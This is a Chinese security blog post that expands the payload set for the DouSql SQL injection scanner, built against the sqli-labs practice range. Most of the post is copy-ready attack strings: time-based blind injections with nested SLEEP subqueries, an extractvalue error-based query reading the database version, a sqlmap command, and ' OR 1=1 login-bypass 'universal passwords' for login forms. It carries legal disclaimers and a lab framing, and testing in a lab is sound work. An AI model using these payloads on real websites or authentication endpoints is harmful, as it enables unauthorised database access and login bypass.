文章总结: 文章基于sqli-labs靶场扩充了dousql工具默认payload,新增绕过MySQL优化器的时间盲注子查询写法及万能密码组合,并说明不同Less场景下检测逻辑差异,给出可直接复制使用的payload集合。
综合评分: 78
文章分类: WEB安全,渗透测试,漏洞分析,安全工具
基于sqli靶场构造的sqli payloads
原创
进击的HACK
进击的HACK
2025年12月28日 07:51
江苏
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我会立即删除并致歉。谢谢!
文章有疑问的,可以公众号发消息问我,或者留言。我每天都会看的。
字数 400,阅读大约需 2 分钟
前言
之前介绍了工具 dousql
项目地址:https://github.com/darkfiv/DouSql
该工具默认的payload比较简单,如下:
%df' and sleep(3)%23
'and '1'='1
'
"
遇到复杂的注入点可能无法检测。因此,我根据经典的sqli-labs靶场,对payload进行扩充。
下面的payload仅做检测,SQL注入的利用的门道很深,不乏会遇到不同数据库导致的命令不同,代码当中对某些参数的过滤,以及waf,不在本文讲解。
sqli-labs
用 Lingjing 一键启动靶场
项目地址:https://github.com/414aaj/LingJing
a010339f90790d88133deb532a94d4a8.png
设置数据库
bdd69244e93673cf77538f2278dc3576.png
仅检测
Less-1到14
直接默认即可
4b1b35752170ca3d57a19674873fbd60.png
%df' and sleep(3)%23
%df" and sleep(3)%23
'and '1'='1
'
"
Less-15
python sqlmap.py -r test.txt --level 3 --batch
此处可以用时间盲注,但常规的%df' and sleep(3)%23失效
用无敌的sqlmap跑,从其中获取payload
' AND (SELECT 8079 FROM (SELECT(SLEEP(3)))aOzw)--
0345bbb10348890204e917648e42949e.png
推测原因可能为:
第一个 payload 失效的核心:SLEEP(3) 作为 WHERE 子句的纯函数调用,被 MySQL 优化跳过执行。
第二个 payload 生效的核心:嵌套子查询强制数据库执行 SLEEP(3),且子查询语法(含别名)合规,无法被优化。
当然,我们也可以给万能密码重新设置一个payload文件,毕竟万能密码用到的地方很固定,登录窗口或者是某些认证接口
universal_password
' OR 1=1--
" OR 1=1--
à
返回包长度
68bbbbcb037447a76d4649233bd6b514.png
总结
常规
%df'%20and%20sleep(3)%23
%df"%20and%20sleep(3)%23
'and%20'1'='1
'
"
'%20AND%20(SELECT%208079%20FROM%20(SELECT(SLEEP(3)))aOzw)--%20
"%20AND%20(SELECT%208079%20FROM%20(SELECT(SLEEP(3)))aOzw)--%20
") AND (SELECT 5879 FROM (SELECT(SLEEP(5)))OeYK) AND ("rbMC"="rbMC
') AND (SELECT 5879 FROM (SELECT(SLEEP(5)))OeYK) AND ('rbMC'='rbMC
'and extractvalue(1,concat(0x7e,(select @@version),0x7e))
万能密码
'%20OR%201=1--%20
"%20OR%201=1--%20
à
欢迎加入知识星球,星球内容主要有:
1、公众号文章备份、工具分享。
2、常见问题的答疑、解决方案汇总在知识星球,作为便于搜索的知识库。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击的HACK 进击的HACK《基于sqli靶场构造的sqli payloads》